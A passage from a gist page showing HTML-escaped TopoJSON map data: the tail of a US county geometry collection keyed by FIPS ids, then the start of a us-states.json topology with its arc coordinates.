quot;id&quot;:38083,&quot;arcs&quot;:[[-158,-280,280,281,-269,-133]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38025,&quot;arcs&quot;:[[-273,282,283,284,-217,-149]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30027,&quot;arcs&quot;:[[-26,285,286,287,288,289,-181,-47]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30021,&quot;arcs&quot;:[[-213,290,291,-227]]},{&quot;type&quot;:&quot;MultiPolygon&quot;,&quot;id&quot;:53033,&quot;arcs&quot;:[[[292]],[[-146,293,294,295,-185]]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30013,&quot;arcs&quot;:[[296,297,-256,-225,-183]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38091,&quot;arcs&quot;:[[-201,298,299,300,301,-196]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38039,&quot;arcs&quot;:[[-302,302,303,304,-274,-197]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38097,&quot;arcs&quot;:[[305,306,-299,-200,-208]]},{&quot;type&quot;:&quot;MultiPolygon&quot;,&quot;id&quot;:53045,&quot;arcs&quot;:[[[307,-265,308,309,310,311,-221]]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30063,&quot;arcs&quot;:[[-15,312,313,314,315,316,317,-189,-235]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30077,&quot;arcs&quot;:[[-260,318,319,320,-313,-14]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30069,&quot;arcs&quot;:[[-247,321,322,-286,-25]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:53037,&quot;arcs&quot;:[[-216,-253,323,-294,-145]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38031,&quot;arcs&quot;:[[-305,324,-277,-275]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38057,&quot;arcs&quot;:[[325,326,327,-283,-272]]},{&quot;type&quot;:&quot;MultiPolygon&quot;,&quot;id&quot;:53027,&quot;arcs&quot;:[[[-312,328,329,330,331,-222]]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27087,&quot;arcs&quot;:[[332,333,-206,-242]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27107,&quot;arcs&quot;:[[-207,-334,334,335,336,-306]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30061,&quot;arcs&quot;:[[-318,337,-230,-190]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27021,&quot;arcs&quot;:[[338,339,340,341,342,343,-166,-268]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:23003,&quot;arcs&quot;:[[344,345,346,347,348]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30045,&quot;arcs&quot;:[[-290,349,350,-297,-182]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:16009,&quot;arcs&quot;:[[-233,351,352,-237,-243]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27057,&quot;arcs&quot;:[[-344,353,354,-240,-167]]},{&quot;type&quot;:&quot;MultiPolygon&quot;,&quot;id&quot;:53053,&quot;arcs&quot;:[[[-295,355,356,357,358]],[[-262,359]],[[-309,-264,360]]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30109,&quot;arcs&quot;:[[-220,361,362,363,-291,-212]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38007,&quot;arcs&quot;:[[-285,364,365,366,-218]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38033,&quot;arcs&quot;:[[-367,367,368,-362,-219]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38043,&quot;arcs&quot;:[[369,370,371,372,-281,-279]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38093,&quot;arcs&quot;:[[-304,373,374,375,-370,-278,-325]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38015,&quot;arcs&quot;:[[-373,376,377,378,-270,-282]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38065,&quot;arcs&quot;:[[-379,379,-326,-271]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:53001,&quot;arcs&quot;:[[380,381,-249,-255]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:53075,&quot;arcs&quot;:[[-238,-353,382,383,384,385,386,387,-381,-254]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38003,&quot;arcs&quot;:[[-301,388,389,390,-374,-303]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38017,&quot;arcs&quot;:[[-307,-337,391,392,393,-389,-300]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:53067,&quot;arcs&quot;:[[-358,394,-329,-311,395]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30079,&quot;arcs&quot;:[[-364,396,397,-244,-228,-292]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27005,&quot;arcs&quot;:[[-355,398,399,400,-335,-333,-241]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27027,&quot;arcs&quot;:[[-401,401,402,403,-392,-336]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:16057,&quot;arcs&quot;:[[-232,404,405,-383,-352]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:53077,&quot;arcs&quot;:[[-252,406,407,408,409,-356,-324]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30059,&quot;arcs&quot;:[[-351,410,411,412,413,414,-257,-298]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27001,&quot;arcs&quot;:[[-139,415,416,417,418,419,-339,-267]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:26131,&quot;arcs&quot;:[[420,421,422,423]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38089,&quot;arcs&quot;:[[-328,424,425,426,427,-365,-284]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38059,&quot;arcs&quot;:[[-378,428,429,430,-425,-327,-380]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:26013,&quot;arcs&quot;:[[431,432,433,434]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:16035,&quot;arcs&quot;:[[-338,-317,435,436,437,-405,-231]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30017,&quot;arcs&quot;:[[438,439,440,441,-245,-398]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30087,&quot;arcs&quot;:[[-442,442,443,444,445,446,-322,-246]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30039,&quot;arcs&quot;:[[447,448,-314,-321]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27159,&quot;arcs&quot;:[[-343,449,450,-399,-354]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27035,&quot;arcs&quot;:[[-420,451,452,-340]]},{&quot;type&quot;:&quot;MultiPolygon&quot;,&quot;id&quot;:53049,&quot;arcs&quot;:[[[453,454,455,-331]]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:53041,&quot;arcs&quot;:[[-395,-357,-410,456,457,458,-454,-330]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30007,&quot;arcs&quot;:[[-415,459,460,-258]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27017,&quot;arcs&quot;:[[461,462,-416,-138]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:26053,&quot;arcs&quot;:[[463,464,465,466,-422]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30065,&quot;arcs&quot;:[[-447,467,468,-287,-323]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:26095,&quot;arcs&quot;:[[469,470,471,472,473]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30037,&quot;arcs&quot;:[[-469,474,475,476,477,-288]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30107,&quot;arcs&quot;:[[-289,-478,478,-411,-350]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:53021,&quot;arcs&quot;:[[479,480,481,-250,-382,-388]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:53005,&quot;arcs&quot;:[[482,483,484,485,-407,-251,-482]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27111,&quot;arcs&quot;:[[-451,486,487,488,489,-402,-400]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38037,&quot;arcs&quot;:[[490,491,492,-426,-431]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:53023,&quot;arcs&quot;:[[493,494,495,-386]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30025,&quot;arcs&quot;:[[-369,496,497,498,499,-439,-397,-363]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:16049,&quot;arcs&quot;:[[500,501,502,503,504,505,506,-436,-316]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30081,&quot;arcs&quot;:[[-449,507,508,509,-501,-315]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38029,&quot;arcs&quot;:[[-372,510,511,512,513,-429,-377]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38047,&quot;arcs&quot;:[[-376,514,515,-511,-371]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:16069,&quot;arcs&quot;:[[-438,516,-506,517,518,-384,-406]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38087,&quot;arcs&quot;:[[519,520,521,-497,-368,-366,-428]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38045,&quot;arcs&quot;:[[522,523,524,-515,-375,-391]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38041,&quot;arcs&quot;:[[-493,525,-520,-427]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27167,&quot;arcs&quot;:[[-490,526,527,528,-403]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38073,&quot;arcs&quot;:[[-394,529,530,531,-523,-390]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38077,&quot;arcs&quot;:[[-529,532,533,534,-530,-393,-404]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:53013,&quot;arcs&quot;:[[535,536,537,-480,-387,-496]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:53071,&quot;arcs&quot;:[[-538,538,-483,-481]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:55051,&quot;arcs&quot;:[[-466,539,540,541,542]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:23025,&quot;arcs&quot;:[[543,544,545,546,547,548,-348]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:23021,&quot;arcs&quot;:[[549,-544,-347]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30043,&quot;arcs&quot;:[[-461,550,551,552,553,-319,-259]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:26153,&quot;arcs&quot;:[[-472,554,555,556,557]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30111,&quot;arcs&quot;:[[558,559,560,561,-475,-468,-446]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30103,&quot;arcs&quot;:[[562,-559,-445]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:16061,&quot;arcs&quot;:[[-437,-507,-517]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:53003,&quot;arcs&quot;:[[-519,563,-494,-385]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38085,&quot;arcs&quot;:[[-514,564,565,-491,-430]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:26071,&quot;arcs&quot;:[[-433,566,567,568,569,570,-464,-421,571]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27115,&quot;arcs&quot;:[[572,573,574,575,-417,-463]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:23019,&quot;arcs&quot;:[[576,577,578,579,-545,-550,-346]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:53059,&quot;arcs&quot;:[[-409,580,581,582,583,584,-457]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:53015,&quot;arcs&quot;:[[-585,585,586,587,588,-458]]},{&quot;type&quot;:&quot;MultiPolygon&quot;,&quot;id&quot;:53069,&quot;arcs&quot;:[[[-459,-589,589,-455]]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27153,&quot;arcs&quot;:[[-342,590,591,592,-487,-450]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27097,&quot;arcs&quot;:[[-453,593,594,595,-591,-341]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:55125,&quot;arcs&quot;:[[596,597,-540,-465,-571,598]]},{&quot;type&quot;:&quot;MultiPolygon&quot;,&quot;id&quot;:41007,&quot;arcs&quot;:[[[599,600,601]]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38001,&quot;arcs&quot;:[[-492,-566,602,603,604,605,-521,-526]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38081,&quot;arcs&quot;:[[-535,606,607,608,-531]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38051,&quot;arcs&quot;:[[-525,609,610,611,-512,-516]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38021,&quot;arcs&quot;:[[-532,-609,612,613,-610,-524]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38011,&quot;arcs&quot;:[[-606,614,-498,-522]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30023,&quot;arcs&quot;:[[-554,615,616,-508,-448,-320]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:26043,&quot;arcs&quot;:[[617,618,619,-568,620]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27095,&quot;arcs&quot;:[[621,622,623,624,-594,-452,-419]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30097,&quot;arcs&quot;:[[-477,625,626,-412,-479]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30031,&quot;arcs&quot;:[[-414,627,628,629,630,631,-551,-460]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30067,&quot;arcs&quot;:[[-627,632,633,634,-628,-413]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30093,&quot;arcs&quot;:[[635,636,-616,-553]]},{&quot;type&quot;:&quot;MultiPolygon&quot;,&quot;id&quot;:41009,&quot;arcs&quot;:[[[637,638,639,-600,640,-587]]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27065,&quot;arcs&quot;:[[-576,641,-622,-418]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:55013,&quot;arcs&quot;:[[642,643,644,645,-574,646]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:55113,&quot;arcs&quot;:[[647,648,649,650,651]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:55129,&quot;arcs&quot;:[[-651,652,-643,653]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30011,&quot;arcs&quot;:[[654,655,656,657,-440,-500]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30095,&quot;arcs&quot;:[[-562,658,-633,-626,-476]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27051,&quot;arcs&quot;:[[-489,659,660,661,-527]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27041,&quot;arcs&quot;:[[-593,662,663,-660,-488]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:55041,&quot;arcs&quot;:[[664,665,666,667,668,-599,-570]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:53011,&quot;arcs&quot;:[[-584,669,-638,-586]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:53039,&quot;arcs&quot;:[[-486,670,671,672,673,674,-581,-408]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30003,&quot;arcs&quot;:[[-444,675,676,677,678,-560,-563]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27155,&quot;arcs&quot;:[[-662,679,680,681,-533,-528]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:55037,&quot;arcs&quot;:[[-620,682,-665,-569]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:41059,&quot;arcs&quot;:[[-537,683,684,685,686,-484,-539]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:41063,&quot;arcs&quot;:[[-495,-564,-518,-505,687,688,689,-684,-536]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:26109,&quot;arcs&quot;:[[690,691,692,-618,693]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:55099,&quot;arcs&quot;:[[-598,694,695,696,697,-649,698,-541]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:46105,&quot;arcs&quot;:[[699,700,701,702,703,-604]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:46031,&quot;arcs&quot;:[[704,705,706,707,-700,-603,-565]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:46063,&quot;arcs&quot;:[[-605,-704,708,-655,-499,-615]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:46021,&quot;arcs&quot;:[[-612,709,710,-705,-513]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30001,&quot;arcs&quot;:[[-637,711,712,713,714,-509,-617]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:46089,&quot;arcs&quot;:[[-614,715,716,717,-710,-611]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:46013,&quot;arcs&quot;:[[-608,718,719,720,721,722,-716,-613]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:46109,&quot;arcs&quot;:[[-682,723,724,725,726,-534]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:46091,&quot;arcs&quot;:[[-727,727,-719,-607]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:41049,&quot;arcs&quot;:[[-687,728,729,730,-671,-485]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:55085,&quot;arcs&quot;:[[-669,731,732,-695,-597]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:41061,&quot;arcs&quot;:[[733,734,-685,-690]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30057,&quot;arcs&quot;:[[-632,735,-712,-636,-552]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27009,&quot;arcs&quot;:[[-625,736,737,-595]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:41021,&quot;arcs&quot;:[[738,739,740,-672,-731]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30075,&quot;arcs&quot;:[[-658,741,742,743,-676,-443,-441]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:26031,&quot;arcs&quot;:[[744,745,746,747,748,749]]},{&quot;type&quot;:&quot;MultiPolygon&quot;,&quot;id&quot;:41057,&quot;arcs&quot;:[[[750,751,752,753,754,-601]]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:41067,&quot;arcs&quot;:[[755,756,757,-751,-640]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27145,&quot;arcs&quot;:[[-738,758,759,760,761,762,-663,-592,-596]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27149,&quot;arcs&quot;:[[763,764,765,-680,-661]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27121,&quot;arcs&quot;:[[-763,766,767,-764,-664]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:41055,&quot;arcs&quot;:[[768,-673,-741]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27059,&quot;arcs&quot;:[[769,770,771,-623,-642]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27025,&quot;arcs&quot;:[[-646,772,773,774,-770,-575]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:55095,&quot;arcs&quot;:[[775,776,777,-773,-645]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:41051,&quot;arcs&quot;:[[-670,-583,778,779,-756,-639]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:41027,&quot;arcs&quot;:[[780,781,-779,-582,-675]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:41065,&quot;arcs&quot;:[[-769,-740,782,783,784,785,-781,-674]]},{&quot;type&quot;:&quot;Poly</code></pre><p><em>Truncated — <a href="https://gist.github.com/1bfb2602816244f016b7ba9efd791114">view the full gist</a>.</em></p>
<h3>us-states.json</h3><pre><code class="language-json">{&quot;type&quot;:&quot;Topology&quot;,&quot;objects&quot;:{&quot;states&quot;:{&quot;type&quot;:&quot;GeometryCollection&quot;,&quot;geometries&quot;:[{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:1000,&quot;arcs&quot;:[[0,1,2,3,4]]},{&quot;type&quot;:&quot;MultiPolygon&quot;,&quot;id&quot;:2000,&quot;arcs&quot;:[[[5]],[[6]],[[7]],[[8]],[[9]],[[10]],[[11]],[[12]],[[13]],[[14]],[[15]],[[16]],[[17]],[[18]],[[19]],[[20]],[[21]],[[22]],[[23]],[[24]],[[25]],[[26]],[[27]],[[28]],[[29]],[[30]],[[31]],[[32]],[[33]],[[34]],[[35]],[[36]],[[37]],[[38]],[[39]],[[40]],[[41]],[[42]],[[43]]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:4000,&quot;arcs&quot;:[[44,45,46,47,48]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:5000,&quot;arcs&quot;:[[49,50,51,52,53,54]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:6000,&quot;arcs&quot;:[[55,-47,56,57]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:8000,&quot;arcs&quot;:[[58,59,60,61,62,63]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:9000,&quot;arcs&quot;:[[64,65,66,67]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:10000,&quot;arcs&quot;:[[68,69,70,71]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:11000,&quot;arcs&quot;:[[72,73]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:12000,&quot;arcs&quot;:[[74,75,-2]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:13000,&quot;arcs&quot;:[[76,77,-75,-1,78,79]]},{&quot;type&quot;:&quot;MultiPolygon&quot;,&quot;id&quot;:15000,&quot;arcs&quot;:[[[80]],[[81]],[[82]],[[83]],[[84]]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:16000,&quot;arcs&quot;:[[85,86,87,88,89,90,91]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:17000,&quot;arcs&quot;:[[92,93,94,95,96,97]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:18000,&quot;arcs&quot;:[[98,99,-95,100,101]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:19000,&quot;arcs&quot;:[[102,-98,103,104,105,106]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:20000,&quot;arcs&quot;:[[107,108,-60,109]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:21000,&quot;arcs&quot;:[[110,111,112,113,-96,-100,114]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:22000,&quot;arcs&quot;:[[115,116,117,-52]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:23000,&quot;arcs&quot;:[[118,119]]},{&quot;type&quot;:&quot;MultiPolygon&quot;,&quot;id&quot;:24000,&quot;arcs&quot;:[[[120]],[[121,-71,122,123,124,125,-74,126,127]]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:25000,&quot;arcs&quot;:[[128,129,130,131,-68,132,133,134]]},{&quot;type&quot;:&quot;MultiPolygon&quot;,&quot;id&quot;:26000,&quot;arcs&quot;:[[[135,-102,136]],[[137]],[[138,139]],[[140]]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27000,&quot;arcs&quot;:[[141,-107,142,143,144]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:28000,&quot;arcs&quot;:[[-4,145,-116,-51,146]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:29000,&quot;arcs&quot;:[[-97,-114,147,-55,148,-108,149,-104]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30000,&quot;arcs&quot;:[[150,151,152,-86,153]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:31000,&quot;arcs&quot;:[[-105,-150,-110,-59,154,155]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:32000,&quot;arcs&quot;:[[-89,156,-48,-56,157]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:33000,&quot;arcs&quot;:[[-119,158,-135,159,160]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:34000,&quot;arcs&quot;:[[161,-69,162,163]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:35000,&quot;arcs&quot;:[[164,165,166,-45,-62]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:36000,&quot;arcs&quot;:[[167,-133,-67,168,-164,169,170]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:37000,&quot;arcs&quot;:[[171,172,-80,173,174]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38000,&quot;arcs&quot;:[[-144,175,-151,176]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:39000,&quot;arcs&quot;:[[177,178,-115,-99,-136,179]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:40000,&quot;arcs&quot;:[[-149,-54,180,-165,-61,-109]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:41000,&quot;arcs&quot;:[[-90,-158,-58,181,182]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:42000,&quot;arcs&quot;:[[-163,-72,-122,183,-178,184,-170]]},{&quot;type&quot;:&quot;MultiPolygon&quot;,&quot;id&quot;:44000,&quot;arcs&quot;:[[[-130,185]],[[186,-65,-132]]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:45000,&quot;arcs&quot;:[[187,-77,-173]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:46000,&quot;arcs&quot;:[[-176,-143,-106,-156,188,-152]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:47000,&quot;arcs&quot;:[[189,-174,-79,-5,-147,-50,-148,-113]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:48000,&quot;arcs&quot;:[[-53,-118,190,-166,-181]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:49000,&quot;arcs&quot;:[[191,-63,-49,-157,-88]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:50000,&quot;arcs&quot;:[[-160,-134,-168,192]]},{&quot;type&quot;:&quot;MultiPolygon&quot;,&quot;id&quot;:51000,&quot;arcs&quot;:[[[-127,-73,-126,193,-175,-190,-112,194]],[[195,-124]]]},{&quot;type&quot;:&quot;MultiPolygon&quot;,&quot;id&quot;:53000,&quot;arcs&quot;:[[[-91,-183,196]],[[197]],[[198]]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:54000,&quot;arcs&quot;:[[-184,-128,-195,-111,-179]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:55000,&quot;arcs&quot;:[[-139,199,-93,-103,-142,200]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:56000,&quot;arcs&quot;:[[-189,-155,-64,-192,-87,-153]]}]}},&quot;arcs&quot;:[[[2632,3060],[5,-164],[7,-242],[4,-53],[3,-30],[-2,-19],[4,-11],[-5,-25],[0,-24],[-2,-32],[2,-57],[-2,-51],[3,-52]],[[2649,2300],[-14,-1],[-59,0],[-1,-25],[6,-37],[-1,-31],[2,-16],[-4,-28]],[[2578,2162],[-4,-6],[-7,31],[-1,47],[-2,6],[-3,-36],[-1,-34]